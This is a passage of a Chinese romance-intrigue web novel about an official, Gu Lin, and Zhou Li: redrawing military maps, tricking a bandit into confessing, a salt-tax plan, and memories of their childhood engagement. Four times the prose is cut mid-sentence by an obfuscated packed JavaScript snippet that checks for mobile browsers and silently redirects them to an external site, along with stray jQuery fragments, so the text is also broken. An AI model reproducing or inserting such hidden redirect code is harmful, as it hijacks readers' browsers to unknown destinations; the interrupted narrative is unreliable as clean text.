射箭场先传来喝彩声，紧跟着新兵这边也跟着欢呼起来，他们原先见一个文官要带着他们打仗，心里都没底，现在虽然也不知道是何结果，但这三箭却实实在在让他们振奋不已。 阅兵台上各位将领也是出乎意料，齐洋和席沐震惊之余，见顾临往回走时，还在不住咳嗽，深感当真人不可貌相。 顾临正色凛然向二人道：“将将士拣选分开训练，是为了各司其职，各展所长，谁说剿匪用不到他们了吗？不要妄自菲薄，也不要轻看他人，好好操练，过十日我再来察看，如若还是如此形貌，我定军法处置！” 二人再不敢无礼，皆领命而去。 顾临一应事毕，也要告辞，冯仑和秦皓送至门口，顾临见秦皓一副欲言又止的神情，向他笑道：“阿梨她很好，秦指挥不必再挂念。” 说完转身上了马车，秦皓被说中心事，不禁愣住，冯仑看着他皱眉摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296270|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周梨认清了自己这个“宠妾”角色，可能还要扮演一段时间，为了打发这天天无事可做的日子，也为了尽量避开顾临，倒是拿起了医书方剂，央陈锡山给她弄了不少药材器具，整日在厨房里研究制丸剂，已几日未曾跟顾临照面。 这日午后在厨下，周梨正在碾着药材，朱妈端着顾临不曾动几筷的饭菜回来，长吁短叹，让她很难不注意到。她那日跟顾临同食，就发现他吃得少，可跟这几日比，竟还算多的了。 她不禁问道：“大人这几日咳嗽好些了吗？” 朱妈皱眉道：“更严重了，我去那一会就咳个不停，你看看都吃了什么？那么大个个，天天吃得比鸟还少，可怎么办？” 周梨也不免担忧起来：“大人怎么不吃药？” “都是老毛病了，时好时坏的，天气凉了就差些。也吃过不少药，就是不见好，大人索性就不吃了，也是任性得很。”朱妈说完，特意看了周梨一眼，“也就是看没人管他。” 朱妈不知道这二人是怎么回事，她以为周梨这次来了就算是大人的人了。可二人各吃各的，各睡各的，像毫无关系似的。尤其是周姑娘，简直在躲着他们家大人。 周梨继续问道：“老毛病？大人是不是胃也不太好？” 朱妈点头：“是的，不都说我们岭南是瘴疠之地嘛，听平安说大人在被贬去岭南的路上，还被追杀受了伤，终于到了又水土不服，病了几个月，就落下了这些病根。” 周梨听完满心伤悲，顾临前几年竟是这般境遇。她忙问道：“大人到底为何被贬？怎么还会被追杀？” 朱妈想了想说：“这个我就不清楚了，只是听他们几个聊到过，好像跟什么卢大人有关。” 听到这三个字，周梨浑身颤抖起来，果然还是被连累了吗？她心中顿时被愧疚砌满，严严实实让人喘不过气。她不再说话，只用力碾着手里的药，好像这般，就能将自己的心疼和愧疚，也如这药一般一起碾碎，而后消弭。 这时平安却又来寻她道：“姑娘，你果然又在这里。” 周梨抬头看去，见平安提着一个食盒进来，继续说着：“这是大人今天路过张大姐铺子，特意给你买的点心，本来午饭前就该给你送来的，我恰好有事耽搁了，就忘到现在，刚送去你房间，你不在，我就来这找你了。姑娘可得帮我担待点，千万别说我现在才送来。” 周梨感激之余竟无名火起，自己任性不吃药不吃饭，不管不顾，给她买点心做甚？不关心自己，倒喜欢关心别人得很。 她突然站起来问平安道：“大人在忙吗？” “在忙。”平安很自然地回答，他家大人就没有不忙的时候。奈何朱妈在旁边往他腰上重重拧了一把，他才“啊”的一声反应过来：“不忙不忙。” 周梨继续问道：“那我能去看看他吗？” “当然当然，现在就可以去。”平安忙在前引路，生怕周梨反悔似的，快步走出了厨房，雄赳赳气昂昂，仿佛自己就要立上大功一件。 周梨跟在后面，还没到顾临书房门口，就听见此起彼伏的咳嗽声传来。她心中暗怪自己，整天想些有的没的，却置顾临的病于不顾，她定要把顾临的身体调养好才是正经。 31. 舆图 平安轻轻推开书房的门，请周梨进去后，自己也跟着要进，门神二人组却一左一右将他提溜住，拦在了门外，同时不忘一人带上了一扇门。 书房不大，陈设也简单，进门就见高高的架格上摆满了书籍和卷轴，架格旁是一张罗汉塌，一张长长的书案临窗而置，顾临正伏案挥笔，他身后还有两个小书橱，摆了些笔墨纸砚等器具。 顾临听到有人进来，也没抬头，依旧全神贯注在案几上，只轻声道：“取些朱砂来。” 周梨回头看平安没跟进来，便走到书橱前，打开墨盒找到了朱砂墨，又拿了一方白端砚，放到书案一角，拿起砚滴滴了两滴水，熟练地研磨起来。此时她才看见顾临正在画舆图，她将朱砂磨好，推到他正在用的砚台旁，又把剩余的朱砂墨包好放了回去。 再回头看时，顾临已用朱砂在舆图上标记了好几处地方，又拿笔沾满朱砂墨要画时，突然又一阵剧烈的咳嗽，他还不及放笔，一滴朱砂已抖落到纸上，将舆图晕染开好大一块红色，遮住了原本的线条。咳嗽声好不容易止住，周梨站在顾临身后看他缓缓放下笔，几不可闻的一声叹息。 这个大概是他忙里偷空好几天才快画好的，就这样废掉了，周梨也不觉跟着叹了口气，顾临回头这才发现是她在这里，笑道：“阿梨，怎么是你来了？我还当是平安呢。” 周梨道：“我是来给大人请脉的。” 顾临可算等到她来，却依旧笑着道：“不要紧的。” 周梨看他一副无所谓的样子，气得指着已脏污的舆图道：“您看看呢！咳得不难受吗？难道不误事？非要等到落在这上面的是血才要紧吗？” 顾临从没见过周梨这样疾言厉色的样子，忙收了笑起身道：“是我不对。” 说完便拉了周梨在一旁的榻上坐下，乖乖卷起袖子，露出手腕，放置在案几上：“现在就诊吧。” 周梨不知这又是哪一出，但见他肯配合，也就深吸了一口气，调匀了呼吸，将三指搭在了顾临腕上，仔细诊起脉来，却是越诊心越往下沉，他的身体状况竟比朱妈说得还严重些。 顾临见她眉头越皱越深，知她是为自己忧心，心里高兴却又更迷惑不解，明明很关心在意，为什么却总是故意躲着他？ 周梨诊完松开手，沉默了一会才柔声道：“大人，别仗着自己还年轻，就不把身体当回事好吗？” 顾临应道:“好。” “那从今天开始好好吃药可以吗？” “可以。” “也不要太操劳，不要熬夜行吗？” “行。” 周梨见他百依百顺，好奇问道：“那大人之前为何不喝药？” 顾临当然不会说真话，只笑道：“先前觉得并不要紧，但看你的样子我好像已经病入膏肓，再不好好遵医嘱，就要不久于人世了。” 周梨意识到自己刚刚有些失态：“对不起，大人不要这样说，没有那么严重，但是大病多是小病拖来的，不能掉以轻心。只是朱妈说您从前也喝过药的，为何拖这么久不见好呢？开的什么方子？” 顾临道：“方子应该是没问题，只是我觉得药苦，总是三天打鱼两天晒网，所以才总不见成效。” 周梨不可思议：“大人还是小孩子吗？吃个药竟这样难吗？” 顾临点头：“嗯，难以下咽。” 周梨用怀疑的眼神看他：“可您刚刚答应我了。” 顾临面露难色：“嗯。” 周梨试探地问道：“您会偷偷把药倒掉吗？” 她见顾临目光闪烁，似乎有些心虚，立马道：“大人白天常不在，今日起晚饭后，我把药端来亲眼看您喝了再走。” 顾临藏住笑意，艰难地点了点头。 周梨此间事了正准备走，外边传来叩门声，接着程顺喊道：“大人，暗牢那边有新线索，要不要现在去看看？” “好。”顾临答应着站起身，又对周梨道，“我出去一趟，会早回来的。” 周梨莫名地点了点头，看他先走出了书房，待她也准备走时，却又想起了那张舆图，犹豫了好一会儿，还是将舆图也折起来带走了。 顾临出门后便向暗牢快步走去，程顺跟在后面禀道：“王琦来报，说程鹏被放回去这几天，几乎没出门，但他今天去了四会乡看一个老阿婆。王琦待他走后，仔细打听了下，发现老阿婆有一个儿子，已经有一向没回家，他听村民形容，觉得像是牢里那个人。”那个人便是抓周梨的壮汉，至今没交代自己的名字。 顾临问道：“将那老阿婆请过来了吗？” “是，人已经带回来了，就在暗牢旁的房子里。” 顾临点头，又问道：“那把刀有新线索吗？”孟书吏出事后不久，顾临就将城门戒严，派人四处搜寻凶手及凶器，几日后在离仁安堂不太远的一个角落里，找到一把血迹没处理干净的刀。拿给陈锡山确认过，与孟书吏身上的伤口吻合。 马齐答道：“还没有，实在有些大海捞针，永安这边铁匠铺都问过了，不是这边铸的，也不知道是凶手自己去铸的刀，还是别人给他的刀，就怕是大老远带过来的，根本无从查起。” 顾临没再说什么，一行人一起先去见了那位老阿婆，老阿婆战战兢兢，不知把她带来这里做什么，吓得不敢作声。顾临耐心安抚了半天，老阿婆才肯开口，却又发现她乡音太重，根本互相听不懂。再回去找了个比较可靠的本地吏员来两边解释，才总算得到了一些有用信息。 顾临吩咐将人安置好，再出来时，才觉秋冬日短，天竟然都已经黑了。程顺和马齐以为按顾临平日行径，定会趁热打铁，再去暗牢审一遍人，他们又得饿着肚子，忙到很晚。所以当他们听到顾临说“回府，明日再审”时，竟怀疑是不是自己听错了。 顾临匆匆用完晚饭回书房，打算将舆图重新画一遍。还得喝药，不能熬夜，就算是摹一晚上估计画不完，但时间不多了，还有好些舆图要重新完善。 可他坐到书案前，正准备拿纸笔时，却发现面前是一张没有被朱砂沾染的舆图，而自己画的那张就放在下面。他仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301345|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对比了下，两张除了朱砂别无二致，就连被晕染的那块也是按黑色墨迹复原出来了。 顾临不禁问道：“平安，这是谁画的？”平安下午没有跟他出去，但他知道平安没这个本事。 “是周姑娘，没多久前送过来的。”平安忙进来回道。 顾临心道果然，暗暗高兴着周梨对他的关心体贴，脑海里却挥之不去一个念头，她也会画画吗？ 不多时，周梨如约端着药进来，见顾临又在画舆图，打断道：“大人，先把药趁热喝了吧。” 顾临接过药碗笑道：“谢谢你的舆图，阿梨。” “大人不怪我窥探机密就好。”周梨玩笑回应，看着顾临端着药碗久久不动，又催道，“大人快喝吧，一口喝完就没那么苦了。” 顾临皱着眉头，虽然他不吃药是为了让周梨不躲着他，但他也是真的从小就怕吃药。他深吸一口气，仰头果真就把一碗药灌了进去，放下药碗，只觉肺腑翻腾不尽。 周梨赶忙递过去一小碟蜜饯：“快吃一颗压一压。” 顾临拣了一颗放入口中，顿觉恶心之感，消散了一半。他不禁挑眉，将剩余蜜饯一气全吃了。 周梨好笑道：“大人今年贵庚啊？” 顾临也笑道：“这蜜饯不错，你做的吗？” “嗯，秘制，看来我以后能卖这个挣钱。”周梨说着便收起药碗，“大人，我告退了。” 顾临听到这话，很不是滋味，唤住她道：“阿梨，你会画画，还能再帮我画一些吗？” 周梨却紧张起来：“我不会画画，只是会临摹。” 顾临道：“那就够了，本来就是按以前的图来的，只是百来年了，地形地貌有些微变化，我重新画只是为了便于指挥作战，有变化的地方我告诉你就好。” 周梨道：“那好，我可以帮忙。这些地方大人都去过吗？”不然怎么知道有变化。 “嗯，每到一个地方，我都习惯去看看周边地势。那日在城外遇见你，也是骑马出去跑了几日，刚好回转。” 周梨这才想起来问道：“那几人还没交代吗？” 顾临答道：“没有，但今天找到了个老阿婆，应该是其中一人的娘，程鹏今日去找了她。” 周梨点头，又想起孟书吏的案子问道：“那杀孟书吏的凶手找到了吗？” 顾临摇头：“没有，只找到把刀，也没有人看到是谁扔的。” 周梨突然一个激灵：“凶手会不会就是要弄死我的那个人？那天他受伤了，让其他两个杀我，那两个不知道怎么杀，问他的刀在哪，我记得他说办完事扔了，城门口查得严。” 顾临听完笑道：“是他的话那一切倒顺利成章了，真是得来全不费工夫！” 周梨开心道：“如果真的是他，那是不是证据都串起来，就不用跟陆志远他们周旋了？”那样她就不用再做这个“宠妾”了。 顾临听懂了她的言外之意，看她真心欢喜，心中突然郁结不已，又咳了几声，敷衍地笑了笑道：“大概还要再等等。” 32. 朝露 深秋的清晨，后院花木的叶子上布满了露珠，莹莹可爱。周梨拿着白瓷罐将它们一颗颗收集起来，剔透的露水，从滚入罐中那一刻，便消融了它圆润的姿态。都道朝露易逝，就算想强留住，也不是原本的样子。 朱妈寻了一圈才找到她：“姑娘怎么起得这么早？做什么呢？” 周梨答道：“没什么，就是将这些露水集起来。” 朱妈笑问道：“是给大人煎药的？” 周梨轻轻“嗯”了一声。 朱妈志得意满地点点头，姑娘这两天满心满眼都是大人，昨夜姑娘去书房送药，就直到她抵不住困意，睡着了都没回房。定是郎情妾意难舍难分，就是不知道到底有没有同房？她真恨自己这把老骨头，怎么就能睡着了？现在也搞不清楚这戏演到哪儿了。 她犹豫了会还是忍不住直接问道：“姑娘昨夜在哪睡的？” 周梨顿住了手中动作，有些尴尬，觉得自己有必要跟朱妈说清楚，省得她总是误会：“朱妈，大人以后会娶夫人的，我跟大人没有什么关系，过段时间就要离开的。” 朱妈问道：“怎么会没有关系呢？姑娘都是大人的人了，又要去哪儿？” 周梨不知道怎么解释，指着叶子上的露珠道：“这些露水现在也是切切实实地存在呀，可过不多久，都会消散的。我跟大人的缘分也只有这么多，朱妈你不要再误会了。” 朱妈心里揣测恐怕是又闹别扭了，忙劝道：“大人可能有时不懂女儿家心思，总是惹姑娘不高兴。但我知道大人喜欢姑娘，姑娘你分明也喜欢大人，这就很难得了，两个人在一起难免磕着绊着，床头吵架床尾合，不能老说丧气话。你们都老大不小了，得赶紧生个孩子要紧……” 周梨叹了口气，决定还是放弃解释，任由朱妈在那叨咕先生男孩还是先生女孩，直到平安来打断了朱妈的筹谋。 平安道：“姑娘，大人问您过会要不要和他同去？” 周梨明白是要去审人，自己确实也想去看看，就道了声好，看露水收得差不多了，盖了罐子就要走。朱妈这才想起来自己是来喊周梨吃早饭的，忙忙跟着周梨一起回去了。 暗牢里的三人，已经被关得没了什么脾气，那两个早就什么都招了，只是他们也不知道什么。 周梨看到这样的几个人，却还是觉得那日的恐惧感记忆犹新。 顾临开门见山，对着壮汉道：“郑虎，你还不交代吗？” 郑虎听到自己的名字，瞪大了眼睛，这个真名连旁边的两个都不知道。 顾临笑道：“不用慌张，我知道的可不止这些。” 郑虎并不开口，只谨慎地盯着顾临。 “我再问你一遍，指使你的人是谁？” 郑虎还是沉默。 顾临继续问道：“你什么都不肯交代，就确信别人能放过你娘吗？” “我娘她怎么了？”郑虎再镇定不了，慌忙问道。 “你猜我们是怎么发现你娘的？” 郑虎心慌地问道：“怎么发现的？” 顾临却不回答他，反问道：“如果你早知因此会害了你娘，你还会做这些吗？” 周梨看出他的意图，心里好笑，看着君子模样，却惯会诈人。 郑虎吼道：“我娘到底怎么了？” “你娘说的最后一句话是，见不到你，死不瞑目。” “不会的，不会的！”郑虎难以置信地看着顾临。 顾临又从怀里掏出一个银镯子递给他：“这是你娘留给你的。” 郑虎接过镯子，终于忍不住痛哭出声，他娘年轻守寡将他拉扯大，家里穷得叮当响，他娘不曾有一件像样的首饰。这两年他跟着上山为匪才给她娘买了一只银镯子，他怎么能不认得。 郑虎握着镯子怒吼道：“程鹏，你不得好死！他人呢他人呢？” “你还想自己能去报仇不成？”顾临问道，“你现在能做的就是老老实实交代他的罪证，好让官府能抓他归案。” “就是程鹏，就是他让我抓这个姑娘，还说实在不行就直接杀了。” “孟书吏也是他指使你杀的吗？” 要是别的时候，郑虎绝不会承认，但此刻他只想攀咬住程鹏，同归于尽：“也是他！” 顾临怕他已失去理智，胡乱认罪，还是问道：“凶器何在？” “刀扔在永安巷一个废弃的角落里。” 确实是那把刀被找到的地方，顾临看了周梨一眼，真的是他。 “那你可愿认罪画押？” “只要能弄死程鹏，老子什么都愿意干！老子替他卖命，他竟如此狼心狗肺！” 顾临回头吩咐程顺道：“把老阿婆带进来见他一面吧。” 郑虎闻言诧异地看着顾临，顾临却笑道：“我可没说你娘怎么了，只是你得顾念她老来无依，若你如上供述不变，或许能戴罪立功，逃脱死罪。你自己估量着办吧！” 郑虎一时间不知该痛骂顾临狡诈，引导他胡思乱想，还是该庆幸他娘没事。直到见到她娘进来，才涕泪横流叫嚷起来。老阿婆终于见到许久未见的儿子，却是在牢里，自是更加伤心。在满耳悲泣之声中，顾临将周梨拉了出去。 二人坐上马车，周梨笑问道：“大人一向都如此骗人吗？”审严超如此，审郑虎又如此。 顾临道：“怎么会？随机应变，什么法子好用，用什么法子。” 周梨小心问道：“料想郑虎也不会再翻供，如此仁安堂通匪杀人还不能结案吗？” 顾临忍不住咳嗽了几声，面带歉意道：“阿梨，对不起，我还不能这么快给你讨回公道。我所谋的并不只是掀掉仁安堂或者是抓了陆志远，我再等一个时机，我要的是钱，是军费，却不只是陆志远自己的钱。” 周梨陡然心惊，她听明白了顾临所谋究竟为何，不免忧心忡忡。 顾临以为她因此不开心，想要再解释几句，却听周梨问道：“大人所谋竟是盐税吗？” 这一问倒是让顾临怔愣住，他没想到周梨也懂这些经济事务，他专注地看着她，肯定的点点头：“是的。” 周梨知道自己并不该问出口，此事已势在必行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319206|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她担心害怕，她清楚盐税是多大的利益，根深蒂固，顾临此举无异于虎口夺食。她父亲因何获罪？说到底不过税制变革，不过党争，不过动了当权派的利益，而后才是欲加之罪。 她还是忍不住劝道：“可是大人，就算是为解燃眉之急，没办法必须让渡些利益，等到您替他们把问题都解决了，等到您没那么有用了，还是会找您清算的。” 顾临突然觉得心间淌过一阵暖流，为周梨的知意和关心，他说道：“在其位谋其政，有些事就是知道不可为也要为之。” 周梨恍惚间觉得甚是耳熟，不用细想，父亲的音容笑貌已浮现在她的脑海里。可不就是父亲常有的口气！她明白就算早早知道结局，父亲也还是会做那些他认为该做的事情。 她不禁看着顾临问道：“大人为何要做官呢？” 顾临不知她为何突然这样问，没有立刻回答。 周梨又道：“是不是问得多余了？修身治国平天下，本来就是你们儒生仕子的立身之道。”只不过大多数人忘了初衷，最后只剩追名逐利。 顾临摇头笑道：“不是，我少时觉得官场蝇营狗苟，并不想做官，也不喜读四书五经。说出来不怕你笑话，我那时爱读墨子和孙子，想做游侠，想去打仗，奈何身体底子并不好，也只练了些骑射，别的一无所成。” 周梨忍不住笑了，他的这些事迹她早有耳闻的，只不过从本人口里听说，角度不同，又更有趣些，她问道：“后来呢？” 顾临继续道：“我祖父致仕前是国子监祭酒，他哪里看得我做这些事。他觉得族中子弟虽多，却属我资质最好，可不用在正途，所以日日亲自督促我读书。直到我十七岁乡试夺魁，他才放过我，大概也是觉得我入仕过早，没让我参加第二年的春闱，反而答应让我跟着三叔出去游历一番。” 说到这里顾临又顿了顿，好像想起来一些沉重的事情，一时不知怎么措辞。 周梨也陷在回忆里，就是那时，她陪母亲回蜀中省亲，去姨母家拜访，她姨母便是顾临的三婶。她看到了他写的字，听闻了他做的事，却没有见到他这个人。 顾临又咳嗽了一阵才道：“出来那一年，我才知道自己当真是两耳不闻窗外事。我见到了陕西、河南的旱灾，山东的蝗灾，民生维艰。就连我以为富庶如江南之地，前些年百姓也因交不起赋税，纷纷弃地流离失所，是一位大人整顿了税粮，才改变了他们的处境。” 周梨静静地听着，顾临也在静静地讲述着：“那位大人是我祖父的学生，我去拜访他，他说‘老师信中常说家中有根好苗子，却不屑做官，想必就是你了。可你既想做游侠，则必定有扶危济困之心。正因为吏治不清明，你我有志之士才更应该跻身官场，才能为百姓挣得更多活下去的机会。’他让我寸步不离跟了他一个月，我看到学到了很多，那以后才立志做官的。” 顾临没告诉周梨到底是谁，因为周梨是苏州人，对那位大人的结局必定知晓一二，他不想让她因此而为他忧心。 可周梨怎么会不知，这位大人不是她父亲卢成又是谁？ 33. 流年 那一年，卢应溪临去蜀中前，读到辛稼轩的《水龙吟》，觉得豪迈又悲凉，不禁画了幅她鲜少会画的山水画，是她脑海里所能想到的南剑双溪楼的景象。 她想题个字，可又觉得自己的簪花小楷，与这幅画着实不配。她从小只喜欢画画和跟着父亲出去野，不爱练字，能写得这手小楷已然难得，别提草书、行书了。 卢应溪把画拿给她父亲，让他给题个气势磅礴的字，她父亲却看不出她画的什么，只说空了再帮她题，那幅画也就丢在了那里。 她到了蜀中，在外祖家和姨母家都住了些日子。在表姐顾盈的房里，见到一副行书，气势奔放，苍劲恢宏，笔锋所至，墨韵随之。她心里十分喜欢，就问顾盈那是谁的字。 顾盈道：“这个人倒与你有缘，你叫‘应溪’，他叫‘承川’，是我三哥，大伯父家的。去年秋闱才中了解元，现在跟我爹出去玩了，估计你见不着了。” 卢应溪道：“我只是觉得他字写得好，又没有要见他。” 顾盈促狭地笑道：“我三哥长得也好看，这眉州城里有名有姓的人家，都想抢我三哥做女婿呢！你不知道，我昨日听到祖母他们跟你娘玩笑，也说你们从名字到才貌都很般配，要讨你给我三哥做媳妇儿，还说你娘当初是我祖父做媒，才嫁给的你爹，你爹也得还个回来。” 卢应溪笑笑并没在意：“你也知道是玩笑话，还有没有他的字都拿出来我瞧瞧。” 顾盈边去搜罗，边给她讲了不少顾临的趣事，倒真让卢应溪对这个人产生了许多好奇。 她和母亲返程时，在路上遇见了也要归家的顾临。旅途之中人多眼杂，她自是不能抛头露面，只在马车里听顾临道：“小侄顾临在姨母家叨扰月余，不曾想在路上才得见姨母和妹妹。” 这是她作为卢应溪，离顾临最近的一次，却不曾见到面。招呼完道别后，卢应溪偷偷掀开车帘，只看到他骑马疾驰而去的背影。 她回到家中，发现走之前画的那张画，已经被题上“我觉山高，潭空水冷，月明星淡”，却正是顾临的字。那一刻，她的心好像被什么击中，砰砰乱跳，她突然理解了心有灵犀是怎样奇妙的感觉，情窦初开却也从此情根深种。 她喜欢听父亲对顾临由衷的赞赏，她抢走顾临给弟弟卢思屹写的字帖，开始练起行书。那日父亲告诉她，给她和顾临定了亲，是她此生最开心的日子。 如今的周梨回想起这些，已恍然如隔世。大概别人会以为她的感情只是水中月，镜中花，可她就这样把未曾见过面的顾临装在心里好多年。 直到遇见这位大人，她才发现自己也可以对别人有这种感情，可命运惯会弄人，他却原来还是顾临。 她不知道这是上天的垂怜还是惩戒，以为此生注定天涯两隔，可如今近在眼前，却又远在天边。她不敢有一点奢望，只求事了一别两宽，只愿顾临顺遂平安。 但是顾临的这番话，让她久久不能平息，受了她父亲的影响，才走上仕途，如此真能平安顺遂吗？ 顾临见她久久不言语，问道：“阿梨，你怎么了？” 周梨抬眼望着他道：“只是觉得这位大人有些多事，做个富贵闲人有什么不好？这世道不公，积弊已深，凭一己之力，难道能力挽狂澜，扶大厦之将倾？这天下苦命之人不可尽数，难道又能一一救得不成？” 顾临答道：“能救一个便是一个，每个人都只来这世间一遭，能多让一个人免遭厄运，就是值得。何况永安匪患，一旦解决了，能救的又岂是一人。连年剿匪却连年不尽，却让老百姓头上的税赋连年增加，不堪重负，导致更多的良民上山为匪，如此恶性循环，得有多少人深陷其中。就如郑虎，明明是极有孝心之人，若不是这世道让他路走窄了，何尝不是母慈子孝，共享天伦。我不能扶大厦将倾，但自信能做好此事，既已落在我头上，就是一定要做的。” 周梨垂了眸没再说话，顾临又柔声道：“阿梨，我知你为我担心才这样说，我保证我不会有事的。” 周梨突然觉得一阵心酸，自己也不知到底为何，只轻轻应了声：“嗯。” 陈锡山自对仁安堂生了失望之心，便决定同夫人离开永州，去吉州与女儿同住。他夫妻二人只得一女，嫁与了他的大徒弟，在吉州开了家医馆，这些年女儿女婿一直来信让他们去，陈锡山却因对仁安堂感情深厚，又安土重迁，一直没有成行。 如今下定决心，陈夫人倒是开心不已，完全没有要离开故土的沉重心情。直到周梨前来送行，她才生了一丝不舍之情，有了离别的感伤。 周梨笑道：“师母就要心想事成，一家团圆，有什么好感伤？” 陈夫人擦着眼泪道：“谁说不是，本来都开开心心的，临要走了，还真是舍不得，毕竟待了好几十年。” 周梨安慰道：“吉州也没那么远，想家了就和师父一起回来看看便好。” 陈夫人止住眼泪点点头：“我最舍不得的就是你，好在也有归宿了，只是到底是个妾，他以后要待你不好，你就来吉州找师父师母，管他是多大官呢，师父师母替你撑腰，给你再找个好人家嫁了。” “说什么胡话呢！”陈锡山忙拦住他夫人，转头对周梨道，“你可别听她的啊，我反正不欢迎你，我看顾大人待你好得很，你那倔脾气别做什么事都一根筋，欺负他才是。说好了啊，可别来吉州找我们。” 说完一边催夫人上马车，一边朝周梨挥手，让她快回去。 周梨再也忍不住眼泪，抱住陈夫人道：“师母，我会想你的，你一定要常给我来信。” 陈夫人泪流不止，不住点头，周梨松开她将她扶上了马车，又眼泪汪汪地向黑着脸的陈锡山道：“师父，您年纪大了，要少喝些酒，和师母都要注意身体，不管你欢不欢迎，有机会我一定会去看你们的。” 陈锡山含糊地应了几声，便与周梨挥别，让车夫驾起了马车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325011|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈夫人本来哭得伤心，见陈锡山坐进马车后也在偷偷擦拭眼角，忙笑他道：“就你还嘴硬，我定要写信告诉阿梨，让她也笑话笑话你！” 周梨看着马车越行越远，眼泪却还是止不住。虽然她突遭厄运，家破人亡，可她也很幸运，到底在这永州城里，遇见了这么多真心待她的人，让她有了重新活下去的勇气。可天下无不散之筵席，终究都是要离别的。 顾临这日出外忙完回书房，看了半日文书也不见周梨来，不禁有些心不在焉。这些时日，只要他在书房里，周梨都会来帮他画图，相伴左右。今日不知为何迟迟不来？ 又等了半日，门终于被推开，顾临心中一动，抬头望去，却是朱妈走了进来，不觉大失所望，继续埋头到文书里。 朱妈舀了一碗汤递给顾临，顾临没接：“放旁边吧，我一会喝。” 朱妈依旧端着碗道：“这是姑娘早起炖的，说大人最近见好，药可以停一停了，但还是要食补，午后喝些汤水最好。” 顾临闻言忙放下手中文书接过碗，喝了一口才问道：“阿梨怎么没来？” 朱妈答道：“她师父今日走，她去送行了，还说顺便出去走走，晚点再回来。” 顾临点头，心里却有些不高兴，怎么就没告诉他，他当同她一起去送行才是。 朱妈在一边犹豫了半天，终于还是问道：“大人，您还要娶夫人吗？” 顾临皱眉道：“为何这么问？” 朱妈自顾自道：“我是觉得大人何必跟别人一样，非得三妻四妾，周姑娘就很好，何必让她伤心呢？” 顾临越发听不明白：“阿梨怎么又伤心了吗？” 最近周梨和顾临几乎形影不离，朱妈根本没有跟顾临单独说话的机会，今日逮着机会可不得可劲往外倒：“哎呦，我的大人，您也该学学哄哄姑娘才是，她伤心您都不知道，也难怪她还不跟您同房。她不伤心，那日为何要说那么感伤的话，什么和大人没有缘分，就跟那露珠一样，不多会就会散的。后来还是我劝了半天，您看最近跟大人不都挺好，大人您要再多哄着点，不就更甜甜蜜蜜、如胶似漆了吗？那同不同房难道还要姑娘主动不成？” 顾临总觉得这话怪怪的，但他没有细想，他现在的重点只有：“阿梨到底为什么伤心？” 朱妈简直恨铁不成钢：“哎哟，大人怎么还不明白？不就是不想您娶夫人吗？哪个女子受得了夫君有别的女人的？” 顾临眉头越皱越紧，谁说要娶别的女人了不成？难道阿梨是一直觉得他还要再娶？他想了一会还是问道：“那朱妈你是怎么劝她的？” 朱妈语重心长地道：“我就让她不要想那么多，小夫妻之间难免闹别扭，还是要先生个孩子要紧，先生个女孩贴心，再生个男孩，大人就算再娶夫人，她也有个依靠……” 不等她说完，顾临已经被汤水呛得咳嗽不止，这哪里是劝，阿梨早晚非得给朱妈吓跑了不可！ 34. 凉薄 周梨送完师父，路过仁安堂时，不禁停下脚步，朝里望了望。重新开张后，布局也变了，坐堂的大夫也换了，除了生意依旧不错，这个自己待了很多年的地方，到底面目全非了，师父走了，这里也没什么好留恋的了。 她看了两眼就转头要走，却见里面李武注意到她，他身后还站着陆志远，见到她竟然还忙忙迎了出来。 陆志远道：“周姑娘，好久不见，越发光彩夺目了。” 李武也拱手道：“姑娘真是稀客，今日怎么有空大驾光临？” 周梨倒还是有些意外，这两个害了她好几次的人，竟都挺好意思，她敷衍道：“我只是路过，没有要光临，打扰了。” 李武见她不甚热情，忙拦道：“姑娘莫不是还在生我的气，都是误会呀，我本想当面跟姑娘解释的，但姑娘如今身在高门，也不是我想见就能见的，我在这里再给姑娘赔个罪。” 周梨笑道：“既然都是误会，又有什么好赔罪的？二位生意兴隆，告辞。” 